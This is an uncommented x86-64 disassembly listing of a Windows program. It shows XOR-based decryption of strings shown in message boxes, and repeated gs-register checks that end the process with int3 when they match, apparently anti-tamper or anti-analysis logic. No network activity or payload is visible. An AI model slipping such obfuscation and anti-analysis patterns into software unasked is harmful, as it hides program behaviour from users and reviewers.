add r8, r13
add r11, r12
cmp r8, r9
jb 0x140030d9c
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400da840]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x2b06ada2
mov word [rbp + 0x76c], Ordinal_143
mov r9, r15
mov rsi, r14
movabs r8, 0x26f87b6944
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x4df0f6d288
mov r14d, 0xead65452
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x758]
xor dil, r9b
mov byte [rbp + r9 + 0x758], dil
inc r9
add r8, r13
add r11, 0x15
cmp r8, r10
jb 0x140030e48
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[1]
cmp rax, r14
movabs rsi, 0x810ab9c58de20e74
jne 0x140030f81
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030f61
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030f61
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030f81
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140031377
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031024
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031024
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031377
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x1400310ee
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400310ce
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400310ce
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400310ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0xde
mov rdi, r15
movabs rbx, 0x1db121133
mov qword [rsp + 0x20], rbx
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.1400314a8
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, r12
jb 0x140031114
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400da9a0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400da780]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400da7d0]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x27c69bf5
mov dword [rbp + 0xd0c], 0x944d88e7
mov dword [rbp + 0xd10], 0x8c21b152
mov word [rbp + 0xd14], Ordinal_50
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14003151c
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x1400311a5
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x1400312b8
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031298
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031298
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400312b8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x140031377
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031357
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031357
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031377
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov ecx, 1
call fcn.1400976a8
int3